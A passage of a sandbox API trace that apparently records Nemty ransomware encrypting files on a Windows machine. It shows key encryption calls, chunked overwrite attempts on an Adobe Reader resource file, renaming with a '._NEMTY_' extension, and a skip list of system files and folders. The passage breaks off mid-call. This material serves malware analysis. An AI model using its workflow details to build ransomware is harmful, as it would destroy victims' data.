lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2b3d99f0, dwHighDateTime=0x1d561e8)) [0200.645] GetLastError () returned 0x5 [0200.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0200.645] GetLastError () returned 0x5 [0200.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0200.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0200.645] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0200.645] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0200.645] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0200.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0200.645] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="udgfFQTANOf7oZ2imSCb83fbZcFzDtWqgX6V6CeLIcEKqJ7beAd7ppTccMbgVQg7\r\nQhgKrvyYruO0Nc7264XzRhcmmuWtDA+DUhspgD8hHvF2s4FTPHmI/7B6b7dDTOL2\r\nD5gXgUW29j0OiX9LecOboLZvze3FgU73wd8mjYDaLxTgLflH+wTTug3fjAZxWuX8\r\nM+ATm8Uhy4o730RMAv6p1DV+Bk+CYs2EVJRPVvyC8/Gp6Izjwg5pCV3xbMRDanC3\r\nOAsBv/d7cmPpPMyKwN0kGIw91DYcX+Khqb3hupXmBKjiZWvFrCoUimVZHihr0rKx\r\nPcR4D4YFMeZiLjVhh8ukVg==\r\n", pcchString=0x653e91c) returned 1 [0200.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0200.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0200.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0200.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0200.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0200.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0200.646] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-6" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-6"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0200.646] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0200.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0200.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.646] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.655] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.655] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.664] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.664] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.664] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.664] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.674] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.674] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.683] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.683] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.693] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.693] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.702] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.702] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.712] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.712] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.721] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.721] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.721] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.721] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.730] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.730] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.730] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.730] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.740] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.740] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.740] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.740] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.752] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.752] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.752] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.752] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0200.752] CloseHandle (hObject=0xffffffff) returned 0 [0200.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0200.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0200.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0200.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0200.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0200.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0200.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0200.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0200.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0200.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0200.753] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-6" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-6"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-6._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-6._nemty_kgobjgd_")) returned 0 [0200.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0200.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0200.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0200.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0200.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0200.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0200.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0200.753] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-90ms-RKSJ", cAlternateFileName="AD02A2~1")) returned 1 [0200.753] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2=".") returned 1 [0200.753] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="..") returned 1 [0200.753] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="...") returned 1 [0200.753] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="windows") returned -1 [0200.753] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="$RECYCLE.BIN") returned 1 [0200.753] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="rsa") returned -1 [0200.753] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="NTDETECT.COM") returned -1 [0200.753] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="ntldr") returned -1 [0200.753] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="MSDOS.SYS") returned -1 [0200.753] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="IO.SYS") returned -1 [0200.753] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="boot.ini") returned -1 [0200.753] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="boot.ini") returned -1 [0200.753] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="AUTOEXEC.BAT") returned -1 [0200.753] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="ntuser.dat") returned -1 [0200.753] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="desktop.ini") returned -1 [0200.753] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="CONFIG.SYS") returned -1 [0200.753] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="RECYCLER") returned -1 [0200.753] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="BOOTSECT.BAK") returned -1 [0200.753] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="bootmgr") returned -1 [0200.754] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="programdata") returned -1 [0200.754] lstrcmpiW (lpString1="Adobe-Japan1-90ms-RKSJ", lpString2="appdata") returned -1 [0200.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0200.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-90ms-RKSJ", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0200.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-90ms-RKSJ", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-90ms-RKSJ", lpUsedDefaultChar=0x0) returned 22 [0200.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0200.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-90ms-RKSJ", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0200.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-90ms-RKSJ", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-90ms-RKSJ", lpUsedDefaultChar=0x0) returned 22 [0200.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0200.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0200.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0200.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-90ms-RKSJ", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0200.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-90ms-RKSJ", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-90ms-RKSJ", lpUsedDefaultChar=0x0) returned 22 [0200.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0200.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0200.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-90ms-RKSJ", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0200.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0200.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-90ms-RKSJ", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-90ms-RKSJ", lpUsedDefaultChar=0x0) returned 22 [0200.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0200.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0200.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0200.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0200.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0200.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0200.754] Sleep (dwMilliseconds=0x5) [0200.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2b50a4f0, dwHighDateTime=0x1d561e8)) [0200.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2b50a4f0, dwHighDateTime=0x1d561e8)) [0200.778] GetLastError () returned 0x5 [0200.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0200.778] GetLastError () returned 0x5 [0200.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0200.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0200.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0200.778] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0200.778] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0200.778] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0200.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0200.778] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: 